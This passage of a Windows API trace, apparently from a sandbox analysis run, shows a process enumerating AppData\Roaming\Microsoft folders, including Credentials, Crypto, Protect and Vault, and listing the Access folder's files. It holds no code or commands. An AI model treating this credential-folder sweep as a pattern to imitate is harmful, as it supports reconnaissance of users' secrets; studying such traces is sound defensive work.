ftCreationTime.dwLowDateTime=0xab505145, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xab505145, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xab505145, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemCertificates", cAlternateFileName="SYSTEM~1")) returned 1 [0197.679] FindNextFileW (in: hFindFile=0x139b038, lpFindFileData=0x12fee10 | out: lpFindFileData=0x12fee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xacdbc5f1, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xcdc11d5c, ftLastAccessTime.dwHighDateTime=0x1d69a98, ftLastWriteTime.dwLowDateTime=0xcdc11d5c, ftLastWriteTime.dwHighDateTime=0x1d69a98, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0197.679] FindNextFileW (in: hFindFile=0x139b038, lpFindFileData=0x12fee10 | out: lpFindFileData=0x12fee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xed4f486b, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xed4f486b, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0xed4f486b, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UProof", cAlternateFileName="")) returned 1 [0197.679] FindNextFileW (in: hFindFile=0x139b038, lpFindFileData=0x12fee10 | out: lpFindFileData=0x12fee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbfaff70b, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd3bb556b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xbfaff70b, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vault", cAlternateFileName="")) returned 1 [0197.679] FindNextFileW (in: hFindFile=0x139b038, lpFindFileData=0x12fee10 | out: lpFindFileData=0x12fee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd65f9933, ftLastAccessTime.dwHighDateTime=0x1d327c2, ftLastWriteTime.dwLowDateTime=0xd65f9933, ftLastWriteTime.dwHighDateTime=0x1d327c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0197.679] FindNextFileW (in: hFindFile=0x139b038, lpFindFileData=0x12fee10 | out: lpFindFileData=0x12fee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x300a046, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x300a046, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x300a046, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Word", cAlternateFileName="")) returned 1 [0197.679] FindNextFileW (in: hFindFile=0x139b038, lpFindFileData=0x12fee10 | out: lpFindFileData=0x12fee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x300a046, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x300a046, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x300a046, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Word", cAlternateFileName="")) returned 0 [0197.679] FindClose (in: hFindFile=0x139b038 | out: hFindFile=0x139b038) returned 1 [0197.679] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff098) returned 1 [0197.679] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff0a4) returned 1 [0197.679] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff07c) returned 1 [0197.679] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft", nBufferLength=0x105, lpBuffer=0x12feb30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft", lpFilePart=0x0) returned 0x29 [0197.679] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\*", lpFindFileData=0x12feda4 | out: lpFindFileData=0x12feda4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x973c546, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0x973c546, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b138 [0197.680] FindNextFileW (in: hFindFile=0x139b138, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x973c546, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0x973c546, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0197.680] FindNextFileW (in: hFindFile=0x139b138, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3385793c, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x9e4036f4, ftLastAccessTime.dwHighDateTime=0x1d3aafb, ftLastWriteTime.dwLowDateTime=0x9e4036f4, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access", cAlternateFileName="")) returned 1 [0197.680] FindNextFileW (in: hFindFile=0x139b138, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x208511b9, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x208511b9, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x208511b9, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AddIns", cAlternateFileName="")) returned 1 [0197.680] FindNextFileW (in: hFindFile=0x139b138, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d0f124, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2d0f124, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x2d35364, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bibliography", cAlternateFileName="BIBLIO~1")) returned 1 [0197.680] FindNextFileW (in: hFindFile=0x139b138, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x39c1605f, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd370742a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x39c1605f, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Credentials", cAlternateFileName="CREDEN~1")) returned 1 [0197.680] FindNextFileW (in: hFindFile=0x139b138, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x789ca310, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x789ca310, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x789cc9c3, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Crypto", cAlternateFileName="")) returned 1 [0197.680] FindNextFileW (in: hFindFile=0x139b138, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32ff935, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x32ff935, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x3325b84, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Document Building Blocks", cAlternateFileName="DOCUME~1")) returned 1 [0197.680] FindNextFileW (in: hFindFile=0x139b138, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x208e9b07, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xbc518aba, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0xc39c5a59, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Excel", cAlternateFileName="")) returned 1 [0197.680] FindNextFileW (in: hFindFile=0x139b138, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x973c546, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0x973c546, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0x973c546, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IME", cAlternateFileName="")) returned 1 [0197.680] FindNextFileW (in: hFindFile=0x139b138, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8923b24, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd3800a8f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8923b24, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputMethod", cAlternateFileName="INPUTM~1")) returned 1 [0197.680] FindNextFileW (in: hFindFile=0x139b138, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34791fac, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xabc78877, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xabc78877, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0197.680] FindNextFileW (in: hFindFile=0x139b138, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc79a26a4, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc79a26a4, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc79a26a4, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MMC", cAlternateFileName="")) returned 1 [0197.680] FindNextFileW (in: hFindFile=0x139b138, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6ea6d8, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xee6ea6d8, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee6ea6d8, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS Project", cAlternateFileName="MSPROJ~1")) returned 1 [0197.680] FindNextFileW (in: hFindFile=0x139b138, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab3fa09c, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xab3fa09c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xab3fa09c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network", cAlternateFileName="")) returned 1 [0197.681] FindNextFileW (in: hFindFile=0x139b138, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2f2525a, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x966dfd8e, ftLastAccessTime.dwHighDateTime=0x1d5d695, ftLastWriteTime.dwLowDateTime=0x966dfd8e, ftLastWriteTime.dwHighDateTime=0x1d5d695, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office", cAlternateFileName="")) returned 1 [0197.681] FindNextFileW (in: hFindFile=0x139b138, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b1656b, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xa8b1656b, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xdd629eb7, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook", cAlternateFileName="")) returned 1 [0197.681] FindNextFileW (in: hFindFile=0x139b138, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b00229f, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x1b00229f, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x1b00229f, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPoint", cAlternateFileName="POWERP~1")) returned 1 [0197.681] FindNextFileW (in: hFindFile=0x139b138, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f58c1c, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x6f58c1c, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x6f58c1c, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof", cAlternateFileName="")) returned 1 [0197.681] FindNextFileW (in: hFindFile=0x139b138, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2fb5efac, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x3b7903de, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3b7903de, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Protect", cAlternateFileName="")) returned 1 [0197.681] FindNextFileW (in: hFindFile=0x139b138, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x422eea37, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x422eea37, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x422eea37, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 1 [0197.681] FindNextFileW (in: hFindFile=0x139b138, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43fd72ee, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0xde511f85, ftLastAccessTime.dwHighDateTime=0x1d3aafb, ftLastWriteTime.dwLowDateTime=0xde511f85, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher Building Blocks", cAlternateFileName="PUBLIS~2")) returned 1 [0197.681] FindNextFileW (in: hFindFile=0x139b138, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd38fae20, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xd38fae20, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xd38fae20, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Signatures", cAlternateFileName="SIGNAT~1")) returned 1 [0197.681] FindNextFileW (in: hFindFile=0x139b138, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7161656c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2954bc8, ftLastAccessTime.dwHighDateTime=0x1d336d6, ftLastWriteTime.dwLowDateTime=0xe2954bc8, ftLastWriteTime.dwHighDateTime=0x1d336d6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Speech", cAlternateFileName="")) returned 1 [0197.681] FindNextFileW (in: hFindFile=0x139b138, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5436ad3, ftCreationTime.dwHighDateTime=0x1d5c552, ftLastAccessTime.dwLowDateTime=0xc4597ef0, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0xc4597ef0, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling", cAlternateFileName="")) returned 1 [0197.681] FindNextFileW (in: hFindFile=0x139b138, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd38d4b92, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xd38d4b92, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xd38d4b92, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0197.681] FindNextFileW (in: hFindFile=0x139b138, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab505145, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xab505145, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xab505145, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemCertificates", cAlternateFileName="SYSTEM~1")) returned 1 [0197.681] FindNextFileW (in: hFindFile=0x139b138, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xacdbc5f1, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xcdc11d5c, ftLastAccessTime.dwHighDateTime=0x1d69a98, ftLastWriteTime.dwLowDateTime=0xcdc11d5c, ftLastWriteTime.dwHighDateTime=0x1d69a98, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0197.683] FindNextFileW (in: hFindFile=0x139b138, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xed4f486b, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xed4f486b, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0xed4f486b, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UProof", cAlternateFileName="")) returned 1 [0197.683] FindNextFileW (in: hFindFile=0x139b138, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbfaff70b, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd3bb556b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xbfaff70b, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vault", cAlternateFileName="")) returned 1 [0197.683] FindNextFileW (in: hFindFile=0x139b138, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd65f9933, ftLastAccessTime.dwHighDateTime=0x1d327c2, ftLastWriteTime.dwLowDateTime=0xd65f9933, ftLastWriteTime.dwHighDateTime=0x1d327c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0197.683] FindNextFileW (in: hFindFile=0x139b138, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x300a046, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x300a046, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x300a046, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Word", cAlternateFileName="")) returned 1 [0197.683] FindNextFileW (in: hFindFile=0x139b138, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0197.683] FindClose (in: hFindFile=0x139b138 | out: hFindFile=0x139b138) returned 1 [0197.683] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff038) returned 1 [0197.683] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff044) returned 1 [0197.683] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access", nBufferLength=0x105, lpBuffer=0x12feb54, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access", lpFilePart=0x0) returned 0x30 [0197.683] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff06c) returned 1 [0197.683] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access", nBufferLength=0x105, lpBuffer=0x12feb20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access", lpFilePart=0x0) returned 0x30 [0197.684] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access\\*", lpFindFileData=0x12fed94 | out: lpFindFileData=0x12fed94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3385793c, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x9e4036f4, ftLastAccessTime.dwHighDateTime=0x1d3aafb, ftLastWriteTime.dwLowDateTime=0x9e4036f4, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139af78 [0197.684] FindNextFileW (in: hFindFile=0x139af78, lpFindFileData=0x12feda0 | out: lpFindFileData=0x12feda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3385793c, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x9e4036f4, ftLastAccessTime.dwHighDateTime=0x1d3aafb, ftLastWriteTime.dwLowDateTime=0x9e4036f4, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0197.684] FindNextFileW (in: hFindFile=0x139af78, lpFindFileData=0x12feda0 | out: lpFindFileData=0x12feda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5d8bc, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x33c5d8bc, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x3f1c0c3d, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x31000, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessCache.accdb", cAlternateFileName="ACCESS~1.ACC")) returned 1 [0197.684] FindNextFileW (in: hFindFile=0x139af78, lpFindFileData=0x12feda0 | out: lpFindFileData=0x12feda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3387db8b, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x3387db8b, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x338a3dd1, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.mdw", cAlternateFileName="")) returned 1 [0197.684] FindNextFileW (in: hFindFile=0x139af78, lpFindFileData=0x12feda0 | out: lpFindFileData=0x12feda0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0197.684] FindClose (in: hFindFile=0x139af78 | out: hFindFile=0x139af78) returned 1 [0197.684] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff028) returned 1 [0197.684] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff034) returned 1 [0197.684] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff00c) 